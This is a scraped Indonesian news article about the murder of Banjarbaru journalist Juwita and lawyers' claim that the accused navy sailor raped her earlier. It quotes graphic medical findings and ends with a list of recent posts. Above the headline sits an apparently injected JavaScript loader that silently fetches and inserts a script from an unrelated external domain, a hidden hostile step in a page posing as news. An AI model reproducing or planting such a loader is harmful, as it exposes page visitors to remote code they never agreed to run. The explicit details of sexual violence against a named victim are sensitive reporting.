(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Selain Dibunuh, Juwita Diduga Dirudapaksa J


KANALKALIMANTAN.COM, BANJARBARU – Proses penyidikan kematian tak wajar wartawati media online di Banjarbaru, Juwita yang dibunuh J, anggota TNI AL terus berjalan.

Hingga pada proses pelengkapan Berita Acara Pemeriksaan (BAP) kedua hari Rabu (2/4/2025) kemarin, tim kuasa hukum bersama pihak keluarga Juwita hadir di markas Denpom Lanal Banjarmasin.

Dalam pemeriksaan hari ini pula, satu fakta kembali terungkap  terkait kronologi kejadian pembunuhan ini.

Baca juga: Anggota TNI AL J Ditahan Resmi Tersangka, Kasus Pembunuhan Jurnalis Juwita Terus Berjalan

Salah satu kuasa hukum keluarga Juwita, C Oriza Sativa Tanau mengungkapkan, anggota TNI AL berpangkat Kelasi I itu, sempat melakukan aksi rudapaksa terhadap perempuan 22 tahun itu.

“Almarhumah pernah menyampaikan kepada kakak iparnya, kalau dia pernah dirudapaksa (Diperkosa, red) oleh tersangka di salah satu hotel di Banjarbaru pada bulan Desember 2024,” ungkap C Oriza Sativa, Rabu (2/4/2025).

Oriza Sativa mengungkap bahwa berdasarkan keterangan korban kepada kakak ipar, dugaan rudapaksa dilakukan dengan cara tersangka menarik korban untuk masuk ke kamar hotel.

Baca juga: Alat Bukti Mobil yang Digunakan untuk Eksekusi Juwita Terparkir di Denpom Lanal Banjarmasin

“Di dalam kamar hotel tersebut, Juwita dipiting lehernya dan dipaksa untuk melakukan hubungan badan,” tambahnya.

Hal itu juga dibuktikan dari keterangan dokter yang turut disampaikan kepada pihak keluarga. Di mana dari hasil pemeriksaan ditemukan ada kemerahan pada area kemaluan, dan selaput darahnya juga berwarna merah.

“Ada cairan putih positif cairan sperma, di mulut rahim ada luka lecet, memar sampai ke mulut rahim bagian dalam,” tuturnya.

Baca juga: Kelasi I J Berencana Menghabisi Jurnalis Juwita, Eksekusi Diduga di Mobil

Oriza menyebutkan, berdasarkan keterangan tersebut, diduga Juwita tidak hanya sebagai korban pembunuhan namun juga menjadi korban kekerasan seksual.

“Juwita juga diduga mengalami tindak pidana kekerasan seksual,” tutupnya. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Buka Rapat Kerja, Ini Harapan Bunda PAUD Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA – Bunda PAUD Kabupaten Banjar Hj Nurgita Tiyas membuka Rapat Kerja (Raker) di… Read More

5 jam ago

Saat Sasirangan dan Soto Banjar jadi Perbincangan Pelajar di Taiwan

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah aspek dalam budaya Banjar menjadi topik hangat di sela pengabdian internasional… Read More

5 jam ago

Pemkab Kapuas Bahas PPKH Permukiman Transmigrasi Lokal Ngaju Bersinar

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas melakukan pembahasan terhadap Persetujuan Penggunaan Kawasan Hutan… Read More

6 jam ago

Pelatihan AI Ready ASEAN: AI Itu Alat Pendukung, Bukan Pengganti Manusia

KANALKALIMANTAN.COM, BANJARMASIN - Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan kembali menggelar implementasi pelatihan AI… Read More

6 jam ago

Uang Bonus Atlet Kontingen Banjarmasin Dipangkas, Ini Penyebabnya

KANALKALIMANTAN.COM, BANJARMASIN - Bonus atlet dan pelatih Banjarmasin peraih medali pada Pekan Olahraga Provinsi (Porprov)… Read More

7 jam ago

2 Jenis Lead Generation untuk Menarik Prospek Berkualitas

KANALKALIMANTAN.COM - Menawarkan produk atau layanan yang bagus adalah kewajiban bisnis, namun itu saja tidak… Read More

7 jam ago

This website uses cookies.